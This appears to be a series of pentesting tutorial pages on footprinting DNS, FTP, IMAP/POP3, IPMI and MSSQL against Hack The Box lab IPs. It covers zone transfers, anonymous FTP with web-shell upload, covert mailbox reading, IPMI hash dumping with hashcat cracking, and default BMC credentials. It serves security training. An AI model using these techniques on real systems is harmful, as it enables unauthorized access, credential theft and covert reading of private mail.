`allow-transfer { any; };` is the classic misconfiguration. It lets anyone pull the complete zone file — every hostname, internal IP, and subdomain the server knows about — in a single request.
***
## Footprinting the Service
Footprinting DNS is all about the requests you send and what the server is willing to disclose in response. The workhorse tool is `dig`.
### NS Query — Find the Name Servers
Start by asking the server which name servers it knows about. The `NS` record reveals them, and the `@` character specifies which DNS server to query:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dig NS inlanefreight.htb @10.129.14.128
```
```
; <<>> DiG 9.16.1-Ubuntu <<>> NS inlanefreight.htb @10.129.14.128
;; ANSWER SECTION:
inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
;; ADDITIONAL SECTION:
ns.inlanefreight.htb. 604800 IN A 10.129.14.128
```
If other name servers exist, you can query them too.
### Version Query
Sometimes you can fish the server's version out of a **CHAOS class, TXT type** query. The entry has to exist on the server for this to work, but when it does, it's free version intel for CVE matching:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dig CH TXT version.bind @10.129.14.128
```
```
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.16.1-Ubuntu"
```
### ANY Query — Show Everything
The `ANY` option asks the server to return every record it's willing to disclose. Note that not all entries from a zone will necessarily show up:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dig ANY inlanefreight.htb @10.129.14.128
```
```
;; ANSWER SECTION:
inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
inlanefreight.htb. 604800 IN A 10.129.14.128
inlanefreight.htb. 604800 IN MX 10 mail1.inlanefreight.htb.
inlanefreight.htb. 604800 IN TXT "v=spf1 include:inlanefreight.htb ..."
```
### AXFR Zone Transfer — The Jackpot
A **zone transfer** copies a zone from one server to another, normally over **TCP port 53**. The procedure is abbreviated **AXFR** (Asynchronous Full Transfer Zone). Servers normally authenticate each other with a shared secret (the `rndc-key` you'd see in the config), but if `allow-transfer` is misconfigured, anyone can request the whole zone:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dig AXFR inlanefreight.htb @10.129.14.128
```
```
;; ANSWER SECTION:
inlanefreight.htb. SOA ns.inlanefreight.htb. ...
inlanefreight.htb. NS ns.inlanefreight.htb.
inlanefreight.htb. A 10.129.14.128
ns.inlanefreight.htb. A 10.129.14.128
www.inlanefreight.htb. A 10.129.14.128
mail1.inlanefreight.htb. A 10.129.18.201
dev.inlanefreight.htb. A 10.129.18.230
internal.inlanefreight.htb. A 10.129.1.6
```
That single command just handed you every hostname and IP the server knows — including internal ones.
### AXFR Across Subdomains
If the administrator set `allow-transfer` to a subnet or to `any`, you can query the entire zone file — and pivot to other zones, which may expose internal IP addresses and hostnames you wouldn't otherwise see:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dig AXFR internal.inlanefreight.htb @10.129.14.128
```
### Subdomain Brute-Forcing
When zone transfer is locked down, you can still discover individual `A` records by brute-forcing hostnames against a wordlist. **SecLists** provides good ones.
A simple Bash for-loop sends a query per candidate and keeps the hits:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for sub in $(cat /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt); do
dig $sub.inlanefreight.htb @10.129.14.128 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt
done
```
Most dedicated tools work the same way under the hood. **DNSenum** is a common one:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dnsenum --dnsserver 10.129.14.128 --enum -p 0 -s 0 -o subdomains.txt \
-f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.htb
```
```
dnsenum VERSION:1.2.6
----- inlanefreight.htb -----
Brute forcing with /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:
__________________________________________________________________
ns.inlanefreight.htb. 604800 IN A 10.129.14.128
mail1.inlanefreight.htb. 604800 IN A 10.129.18.201
www.inlanefreight.htb. 604800 IN A 10.129.14.128
dev.inlanefreight.htb. 604800 IN A 10.129.18.230
```
***
## Quick Reference
| Command | Purpose |
| ----------------------------------------------------- | ---------------------------- |
| `dig NS @` | List the zone's name servers |
| `dig CH TXT version.bind @` | Disclose the BIND version |
| `dig ANY @` | Show all disclosable records |
| `dig AXFR @` | Attempt a full zone transfer |
| `dnsenum --dnsserver -f ` | Brute-force subdomains |
**The footprinting flow:** NS query → version query → ANY query → attempt AXFR → fall back to subdomain brute-forcing if AXFR is refused.
***
*Next: [FTP](/tech/services/ftp) — anonymous logins, banner grabbing, and pulling files off misconfigured file servers.*
# Ftp
Source: https://hackbook.dudji.com/tech/services/ftp
# FTP
> FTP is one of the oldest services you'll meet on an engagement, and one of the most generous when misconfigured. Anonymous logins, world-readable files, writable web roots, and chatty banners make it a reliable first foothold.
**Protocol:** TCP · **Port:** 21 (data on 20)
***
## FTP vs TFTP
**FTP** (File Transfer Protocol) transfers files between a client and server over **TCP port 21**, with user authentication and a full set of commands.
**TFTP** (Trivial File Transfer Protocol) is the stripped-down cousin. It runs over **UDP**, has **no authentication**, no password-protected login, and no directory listing. In practice it only operates on globally readable/writable files, so it should only ever appear on local, protected networks — and when you find it exposed, that's already a finding.
A few core TFTP commands:
| Command | Purpose |
| --------- | -------------------------------------------------------- |
| `connect` | Set the remote host (and optionally port) for transfers |
| `get` | Pull a file from the remote host to the local host |
| `put` | Push a local file onto the remote host |
| `status` | Show current status — transfer mode, connection, timeout |
| `verbose` | Toggle extra information during transfers |
| `quit` | Exit tftp |
Remember: unlike FTP, TFTP **can't list directories** — you have to already know the filename you want.
***
## Default Configuration
One of the most common FTP servers on Linux is **vsFTPd**, configured in `/etc/vsftpd.conf`. It's only one of many FTP servers, but it's the one you'll see most often.
Key settings in a default `vsftpd.conf`:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/vsftpd.conf
listen=NO # run standalone or from inetd
listen_ipv6=YES # listen on IPv6
anonymous_enable=NO # allow anonymous access?
local_enable=YES # allow local users to log in?
dirmessage_enable=YES # show messages when entering directories
use_localtime=YES
xferlog_enable=YES # log uploads/downloads
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd # PAM service name
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
```
There's also `/etc/ftpusers`, which **denies** specific users access to FTP even if they exist on the system. For example, listing `guest`, `john`, and `kevin` there blocks those accounts from logging in:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/ftpusers
guest
john
kevin
```
***
## Dangerous Settings
The setting that matters most to an attacker is **anonymous access**. In `vsftpd.conf`, the anonymous-related options look like this:
| Setting | Effect |
| ------------------------------ | ---------------------------------------------------------------------------------- |
| `anonymous_enable=YES` | Allow anonymous login |
| `anon_upload_enable=YES` | Let anonymous users upload files |
| `anon_mkdir_write_enable=YES` | Let anonymous users create directories |
| `no_anon_password=YES` | Don't even ask anonymous for a password |
| `anon_root=/home/username/ftp` | Root directory for anonymous sessions |
| `write_enable=YES` | Allow write commands: `STOR`, `DELE`, `RNFR`, `RNTO`, `MKD`, `RMD`, `APPE`, `SITE` |
`anonymous_enable=YES` combined with `write_enable=YES` or
`anon_upload_enable=YES` is the dangerous pairing — it means anyone can not
only read files but drop their own. On an FTP server tied to a web root,
that's a path to a web shell.
When you connect, the server greets you with **response code 220** and a banner — which often discloses the service description and even its version. Even when you can't download anything, just listing the directory contents can hand you names and intel for another angle of attack.
***
## Footprinting the Service
### Anonymous Login
The first thing to try is logging in as `anonymous` (any password, often blank):
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ftp 10.129.14.136
```
```
Connected to 10.129.14.136.
220 "Welcome to the HTB FTP service."
Name (10.129.14.136:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
ftp> ls
200 PORT command successful.
150 Here comes the directory listing.
drwxr-xr-x 2 0 125 4096 Jun 25 2024 pub
226 Directory send OK.
```
### Get an Overview with `status`
To see how the server is configured at a glance, use `status`:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ftp> status
```
```
Connected to 10.129.14.136.
No proxy connection.
Connecting using address family: any.
Mode: stream; Type: binary; Form: non-print; Structure: file
Verbose: on; Bell: off; Prompting: on; Globbing: on
Store unique: off; Receive unique: off
Case: off; CR stripping: on
```
### Reveal More with `debug` and `trace`
Turning on `debug` and `trace` makes the server show you more of what's happening under the hood — useful for understanding its behavior:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ftp> debug
Debugging on (debug=1).
ftp> trace
Packet tracing on.
ftp> ls
---> PORT 10,10,14,4,228,12
200 PORT command successful.
---> LIST
150 Here comes the directory listing.
```
### Spotting `hide_ids` and `ls_recurse_enable`
If `hide_ids=YES` is set, the UID/GID of files is overwritten (shown as `ftp` or `0`), making it harder to tell what rights files were written with. Conversely, if `ls_recurse_enable=YES` is set — common on vsFTPd for convenience — you can list the entire directory tree in one shot:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ftp> ls -R
```
```
.:
drwxr-xr-x 3 0 0 4096 Jun 25 2024 pub
./pub:
drwxr-xr-x 2 0 0 4096 Jun 25 2024 backup
./pub/backup:
-rw-r--r-- 1 0 0 582 Jun 25 2024 config.bak
```
### Download Everything
When the server has a large folder structure, you can mirror the whole thing at once with `wget`. Be aware this is noisy — nobody legitimately downloads an entire FTP server in one go:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136
```
`wget` creates a directory named after the target's IP and stores everything there for offline inspection.
### Test Upload Access
Check whether you can upload — especially valuable when the FTP server is tied to a web server, since developers often sync files between them. Upload access there can mean dropping a web shell and getting code execution:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful.
150 Ok to send data.
226 Transfer complete.
```
Upload access to an FTP server connected to a web root is one of the cleanest
paths to a reverse shell. Drop a web shell, browse to it, and you've turned a
file server into command execution.
***
## Scanning FTP
Network scanners make footprinting easier and can find FTP even on non-standard ports. Nmap's NSE scripts are the standard approach.
First, the FTP-related NSE scripts live in `/usr/share/nmap/scripts/` and can be found with:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -type f -name "ftp*" 2>/dev/null | grep scripts
```
Run the default FTP scripts with version detection:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -p21 -sC -A 10.129.14.136
```
```
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 125 4096 Jun 25 2024 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.4
| Logged in as ftp
| TYPE: ASCII
|_ vsFTPd 3.0.3 - secure, fast, stable
```
To watch what the NSE scripts are doing at the network level, add `--script-trace`. It shows the commands Nmap sends, the ports used, and the server's responses — including the banner returned to one of the parallel NSE connections:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -p21 -sC -A 10.129.14.136 --script-trace
```
### Interact Manually with netcat / telnet
You can also talk to the server directly:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nc -nv 10.129.14.136 21
telnet 10.129.14.136 21
```
### TLS/SSL FTP with openssl
If the server runs with TLS/SSL (FTPS), you need a client that speaks it. `openssl` works and has the bonus of showing you the **SSL certificate**, which can itself contain useful information:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
openssl s_client -connect 10.129.14.136:21 -starttls ftp
```
```
CONNECTED(00000003)
---
Certificate chain
0 s:CN = ftp.inlanefreight.htb
i:CN = ftp.inlanefreight.htb
---
220 Welcome to the secure HTB FTP service.
```
***
## Quick Reference
| Command | Purpose |
| ----------------------------------------------------- | ------------------------------ |
| `ftp ` → `anonymous` | Attempt anonymous login |
| `ftp> status` | Overview of server settings |
| `ftp> debug` / `trace` | Reveal protocol-level detail |
| `ftp> ls -R` | Recursive listing (if enabled) |
| `wget -m --no-passive ftp://anonymous:anonymous@` | Mirror the whole server |
| `ftp> put ` | Test upload access |
| `nmap -sV -sC -p21 ` | NSE enumeration |
| `openssl s_client -connect :21 -starttls ftp` | Connect to FTPS, view cert |
**The footprinting flow:** anonymous login → `status` for config → recursive listing → download everything → test upload → fall back to nmap/openssl for banner and version intel.
***
*Next: [SMB](/tech/services/smb) — shares, null sessions, and pulling files off Windows file servers.*
# Imap pop3
Source: https://hackbook.dudji.com/tech/services/imap_pop3
# IMAP / POP3
> If SMTP is how mail gets sent, IMAP and POP3 are how it gets read. Crack one set of employee credentials and these protocols let you log straight into their mailbox — where confidential data, password reset links, and internal correspondence are waiting.
**Protocol:** TCP · **Ports:** IMAP 143 / 993 (TLS) · POP3 110 / 995 (TLS)
***
## IMAP vs POP3
Both **IMAP** (Internet Message Access Protocol) and **POP3** (Post Office Protocol) provide access to email on a mail server, but they work differently:
| | IMAP | POP3 |
| ---------------- | ---------------------------------------- | ------------------------------------- |
| **Storage** | Mail stays on the server, managed online | Mail typically downloaded and removed |
| **Folders** | Supports folder structures | No folder support |
| **Multi-client** | Uniform view across all clients | Each client downloads its own copy |
| **Functions** | Full online management | List, retrieve, delete only |
IMAP keeps a consistent database across every device — sent mail copied into an IMAP folder is visible from any client. POP3 is the older, simpler model that just pulls mail down.
Without extra measures, both run **unencrypted**, transmitting commands, mail, usernames, and passwords in plain text. That's why most servers require an encrypted (TLS) session — and why the TLS ports (993, 995) are the ones you'll usually be authenticating against.
***
## Default Configuration
A common Linux mail server providing IMAP/POP3 is **Dovecot**. Both protocols have many configuration options, but for footprinting what matters is the command set you can drive from the command line.
**IMAP commands:**
| Command | Purpose |
| ------------------------ | -------------------------------------- |
| `LOGIN user pass` | Authenticate |
| `LIST "" *` | List all mailboxes |
| `SELECT ` | Select a mailbox to work in |
| `FETCH all` | Retrieve a message |
| `FETCH BODY.PEEK[]` | Read a message without marking it read |
| `LOGOUT` | Close the session |
**POP3 commands:**
| Command | Purpose |
| ------------- | --------------------------- |
| `USER ` | Provide the username |
| `PASS ` | Provide the password |
| `STAT` | Number/size of messages |
| `LIST` | List messages |
| `RETR ` | Retrieve a message |
| `DELE ` | Mark a message for deletion |
| `QUIT` | Close the session |
***
## Dangerous Settings
Most companies use third-party providers (Google, Microsoft), but some still run their own mail servers — and that's where misconfigurations let you read every email sent and received, sensitive ones included.
Configuration options worth scrutinizing:
| Setting | Risk |
| ------------------------------- | ------------------------------------------------------------ |
| `auth_debug` / `auth_verbose` | Logs authentication detail — credentials can leak into logs |
| Plaintext auth allowed | Credentials transmitted in clear text, sniffable on the wire |
| Anonymous / guest login enabled | Mailbox access without valid credentials |
| Self-signed / mismatched certs | Easier man-in-the-middle, and the cert itself leaks org info |
The real prize here is **credential reuse**. If you've recovered an employee's
password anywhere else on the engagement, try it against IMAP/POP3 — a
successful login gives you their entire mailbox: internal documents, password
reset emails, and often credentials for other systems.
***
## Footprinting the Service
### Nmap
Scan the four IMAP/POP3 ports. If the server uses an embedded SSL certificate, the scan reveals organisational detail:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -sC -p110,143,993,995 10.129.14.128
```
```
PORT STATE SERVICE VERSION
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
993/tcp open ssl/imap Dovecot imapd
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/
| organizationName=InlaneFreight/stateOrProvinceName=California/countryName=US
995/tcp open ssl/pop3 Dovecot pop3d
```
From the certificate you can read the common name (`mail1.inlanefreight.htb`), the organization (`InlaneFreight`), and location (California) — all useful for building username lists and understanding the target.
### cURL
`curl` can list a mailbox directly. Adding verbose (`-v`) shows the TLS version, SSL certificate details, and the banner — which often discloses the mail server version:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
curl -k 'imaps://10.129.14.128' --user user:password -v
```
```
* Connected to 10.129.14.128 (10.129.14.128) port 993
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* Server certificate:
* subject: CN=mail1.inlanefreight.htb; O=InlaneFreight
< * OK [CAPABILITY IMAP4rev1 ...] Dovecot ready.
```
### Netcat — Plaintext Ports
You can talk to the plaintext ports (143 / 110) directly with `nc`. Connect to IMAP:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nc 10.129.14.128 143
```
```
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR ...] Dovecot ready.
1 login user password
1 NO [PRIVACYREQUIRED] Plaintext authentication disallowed on non-secure (SSL/TLS) connections.
```
And POP3:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nc 10.129.14.128 110
```
```
+OK Dovecot ready.
USER user
+OK
PASS password
-ERR [AUTH] Plaintext authentication disallowed.
```
In both cases the server refuses plaintext auth — which tells you to switch to `openssl` against the TLS ports.
### OpenSSL — TLS-Encrypted Interaction
Connect over TLS to authenticate properly. IMAP over SSL:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
openssl s_client -connect 10.129.14.128:imaps
```
POP3 over SSL:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
openssl s_client -connect 10.129.14.128:pop3s
```
### Reading Mail Over IMAP
Once authenticated over TLS, list mailboxes, select one, and read messages:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Authenticate
1 LOGIN user password
# List all mailboxes
1 LIST "" *
# Select a mailbox
1 SELECT INBOX
# Retrieve a message (full)
1 FETCH 1 all
# Read a message WITHOUT marking it as read
1 FETCH 1 BODY.PEEK[]
```
Use `BODY.PEEK[]` instead of `FETCH ... all` when reading mail — `PEEK`
retrieves the message without setting the `\Seen` flag, so the mailbox owner
doesn't notice their unread mail suddenly being marked read. It's the quiet
way to read someone's inbox.
***
## Quick Reference
| Command | Purpose |
| ------------------------------------------------------- | ------------------------------------- |
| `nmap -sV -sC -p110,143,993,995 ` | Scan all four ports, read cert |
| `curl -k 'imaps://' --user u:p -v` | List mailbox, view TLS/banner |
| `nc 143` / `nc 110` | Plaintext interaction (often refused) |
| `openssl s_client -connect :imaps` | TLS IMAP session |
| `openssl s_client -connect :pop3s` | TLS POP3 session |
| `LIST "" *` → `SELECT ` → `FETCH BODY.PEEK[]` | Read mail quietly |
**The footprinting flow:** nmap for ports + cert intel → curl/openssl for banner and version → authenticate over TLS with found credentials → list mailboxes → read mail with `BODY.PEEK[]`.
***
*Next: [SNMP](/tech/services/snmp) — community strings and walking the MIB for credentials and config.*
# Services
Source: https://hackbook.dudji.com/tech/services/index
Common network services from an offensive security perspective.
Service-specific knowledge — how each protocol works, how to enumerate it, and where misconfigurations turn into footholds.
## Services
Domain Name System — zone transfers, record enumeration, and subdomain brute-forcing.
File Transfer Protocol — anonymous access, credential brute-forcing, and file exposure.
Server Message Block — share enumeration, null sessions, and lateral movement.
Simple Mail Transfer Protocol — user enumeration and open relay abuse.
Mail retrieval protocols — credential attacks and mailbox access.
Simple Network Management Protocol — community string brute-forcing and MIB enumeration.
Secure Shell — key-based attacks, credential brute-forcing, and tunneling.
Remote Desktop Protocol — BlueKeep, credential attacks, and session hijacking.
Windows Remote Management — authentication, Evil-WinRM, and lateral movement.
Windows Management Instrumentation — remote execution and enumeration.
Network File System — export enumeration, UID spoofing, and file access.
Rsync — unauthenticated module listing and file retrieval.
Berkeley R-Services — trust relationships and rlogin/rsh abuse.
Intelligent Platform Management Interface — authentication bypass and hash extraction.
MySQL — enumeration, UDF exploitation, and credential extraction.
Oracle TNS Listener — SID enumeration and credential attacks.
Microsoft SQL Server — enumeration, xp\_cmdshell, and linked server abuse.
## Port & Services
| Port | Service |
| ------------------ | ----------- |
| 20 | FTP |
| 22 | SSH |
| 25, 587 | SMTP |
| 53 | DNS |
| 110, 143, 993, 995 | IMAP / POP3 |
| 111, 2049 | NFS |
| 135 | WMI |
| 161, 162 | SNMP |
| 445 | SMB |
| 512, 513, 514 | R-Services |
| 623 | IPMI |
| 873 | Rsync |
| 1433 | MSSQL |
| 1521 | Oracle TNS |
| 3306 | MySQL |
| 3389 | RDP |
| 5985, 5986 | WinRM |
## OSI Layers & Attacks
| OSI Layer | Attack |
| ------------ | -------------- |
| Application | Exploit |
| Presentation | Phishing |
| Session | Hijacking |
| Transport | Reconnaissance |
| Network | MITM |
| Data Link | Spoofing |
| Physical | Sniffing |
# Ipmi
Source: https://hackbook.dudji.com/tech/services/ipmi
# IPMI
> A BMC is a tiny computer bolted to a server's motherboard that runs even when the host is powered off — and gaining access to it is nearly equivalent to physical access. IPMI 2.0 has a flaw baked into the spec that hands you the password hash of any valid user, no authentication required.
**Protocol:** UDP · **Port:** 623
***
## What Is IPMI?
The **Intelligent Platform Management Interface (IPMI)** is a standardized set of specifications for hardware-based host management. It runs as an autonomous subsystem, **independent of the host's BIOS, CPU, firmware, and operating system** — so administrators can manage and monitor a machine even when it's powered off or unresponsive.
It connects directly to the system's hardware over the network and needs no login shell on the OS. Typical uses:
1. Modifying BIOS settings before the OS boots
2. Managing a host that's fully powered down
3. Accessing a host after a system failure
When it's not doing those, it monitors temperature, voltage, fan status, and power supplies. The host can be off, but the IPMI module needs a power source and a LAN connection to function.
### BMCs
Systems that speak IPMI are called **Baseboard Management Controllers (BMCs)** — typically embedded ARM systems running Linux, wired directly to the motherboard (built in, or added as a PCI card). The ones you'll meet most on internal tests:
* **HP iLO**
* **Dell DRAC**
* **Supermicro IPMI**
They usually expose a **web management console**, a remote-access protocol (Telnet or SSH), and the IPMI network protocol on **UDP 623**.
Access to a BMC means you can monitor, reboot, power off, or even **reinstall
the host operating system**. It's nearly equivalent to standing in front of
the machine with a keyboard. Don't overlook IPMI on internal engagements — it
shows up constantly and a BMC web-console login is a high-risk finding on its
own.
***
## Footprinting the Service
### Nmap
The `ipmi-version` NSE script fingerprints the protocol on UDP 623:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sU -p623 --script ipmi-version 10.129.14.128
```
```
PORT STATE SERVICE
623/udp open asf-rmcp
| ipmi-version:
| Version:
| IPMI-2.0
| UserAuth: auth_user, non_null_user
|_ PassAuth: password, md5, null
```
Here IPMI is listening on 623 and Nmap fingerprinted **version 2.0** — which matters, because the hash-retrieval flaw is specific to IPMI 2.0.
### Metasploit Version Scan
The same fingerprint is available via Metasploit:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
use auxiliary/scanner/ipmi/ipmi_version
set RHOSTS 10.129.14.128
run
```
### Default Credentials
Administrators frequently leave BMC default passwords in place. Worth keeping in your cheat sheet:
| Vendor | Default Username | Default Password |
| --------------- | ---------------- | ---------------------------------------------- |
| HP iLO | `Administrator` | factory-randomized 8-char (uppercase + digits) |
| Dell iDRAC | `root` | `calvin` |
| Supermicro IPMI | `ADMIN` | `ADMIN` |
Always try known defaults against **any** service you find — they're left unchanged constantly and lead to quick wins. For a BMC, they may get you into the web console or SSH/Telnet directly.
***
## Dangerous Settings — The RAKP Hash Flaw
If default credentials don't work, IPMI 2.0 has a flaw in its **RAKP protocol** that's a core part of the specification — so there's no real "fix," only mitigation.
During authentication, the server sends a **salted SHA1 or MD5 hash of the user's password to the client *before* authentication completes.** That means you can request the password hash for **any valid user account** on the BMC, then crack it offline.
### Retrieve the Hash with Metasploit
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS 10.129.14.128
run
```
```
[+] 10.129.14.128:623 - IPMI - Hash found: ADMIN:8e1f...e3a9...:cracked password "ADMIN"
```
### Crack It with Hashcat
IPMI RAKP hashes use **Hashcat mode 7300**:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
hashcat -m 7300 ipmi.txt /usr/share/wordlists/rockyou.txt
```
For an HP iLO at its factory-default password — eight characters of uppercase letters and digits — a mask attack covers the whole keyspace:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
```
The real payoff is **password reuse**. The RAKP flaw gets you a hash; cracking
it gets you a password; and that password is often reused elsewhere. There are
documented engagements where a cracked IPMI hash led to SSH-as-root on many
critical servers and access to network monitoring consoles across the
environment. Mitigation is limited to very long passwords or
network-segmenting the BMCs — the flaw itself can't be patched away.
***
## Quick Reference
| Command | Purpose |
| -------------------------------------------------------- | ------------------------------- |
| `nmap -sU -p623 --script ipmi-version ` | Fingerprint IPMI version |
| `auxiliary/scanner/ipmi/ipmi_version` | Metasploit version scan |
| `auxiliary/scanner/ipmi/ipmi_dumphashes` | Retrieve RAKP password hashes |
| `hashcat -m 7300 ipmi.txt ` | Crack IPMI hashes (dictionary) |
| `hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u` | Mask attack for HP iLO defaults |
**Default creds to always try:** iDRAC `root:calvin` · Supermicro `ADMIN:ADMIN` · HP iLO randomized 8-char.
**The footprinting flow:** nmap for UDP 623 and version → try default credentials → if those fail, dump RAKP hashes with Metasploit → crack offline with Hashcat mode 7300 → log into the BMC, and test the password for reuse elsewhere.
***
*Next: [MySQL](/tech/services/mysql) — database enumeration, authentication, and reading data straight off the server.*
# Mssql
Source: https://hackbook.dudji.com/tech/services/mssql
# MSSQL
> Microsoft SQL Server isn't just a place data lives — it's a foothold on a Windows box. Weak `sa` credentials get you in, and `xp_cmdshell` lets you run operating-system commands straight from a SQL prompt. A database login becomes code execution on the host.
**Protocol:** TCP · **Port:** 1433
***
## What Is MSSQL?
**Microsoft SQL Server (MSSQL)** is Microsoft's SQL-based relational database management system. Versions run on Linux and macOS, but you'll most often meet MSSQL on **Windows** targets — which is what makes it so valuable: it ties directly into Windows authentication and can execute OS commands.
### MSSQL Clients
**SQL Server Management Studio (SSMS)** ships with the MSSQL install package or can be downloaded separately. Because it's a *client* application, it can be installed on any admin's or developer's workstation — not just the database server.
Since SSMS lives on client machines too, you may find a vulnerable workstation
with **SSMS holding saved credentials** that connect straight to the database.
The DB server isn't the only place to look for a way in.
### Default System Databases
MSSQL ships with system databases that reveal the structure of everything hosted on the server:
| Database | Purpose |
| ---------- | ------------------------------------------------------------------- |
| `master` | Tracks all system information for the SQL Server instance |
| `model` | Template for every new database — changes here propagate to new DBs |
| `msdb` | Used by SQL Server Agent to schedule jobs and alerts |
| `tempdb` | Stores temporary objects |
| `resource` | Read-only database of the system objects shipped with SQL Server |
***
## Default Configuration
When an admin installs MSSQL to be network-accessible, the service typically runs as **`NT SERVICE\MSSQLSERVER`**.
Authentication set to **Windows Authentication** means the underlying Windows OS processes the login — checking the local SAM database or the domain controller (Active Directory) before granting access to the DBMS. That's the link that makes MSSQL a stepping stone into the wider Windows environment.
***
## Dangerous Settings
Worth investigating on any MSSQL instance:
| Setting | Risk |
| ------------------------------- | --------------------------------------------------------------------------------- |
| No encryption | Clients connecting unencrypted — traffic (including queries) is sniffable |
| Self-signed certificates | When encryption *is* used, self-signed certs can be **spoofed** for MITM |
| Named pipes | Enabled named-pipe access widens the attack surface |
| Weak / default `sa` credentials | The `sa` (sysadmin) account is often left enabled with a weak or default password |
The `sa` account is the prize. It's the built-in sysadmin, and admins
frequently forget to disable it or leave it with a weak password. `sa` access
means full control of the server — including the ability to enable and run
`xp_cmdshell` for OS command execution.
***
## Footprinting the Service
### MSSQL Clients for Pentesters
Beyond SSMS, many clients can connect to MSSQL:
1. `mssql-cli`
2. SQL Server PowerShell
3. HeidiSQL
4. SQLPro
5. **Impacket's `mssqlclient.py`**
`mssqlclient.py` is usually the most useful — Impacket ships on most pentest distros by default. Find it with:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
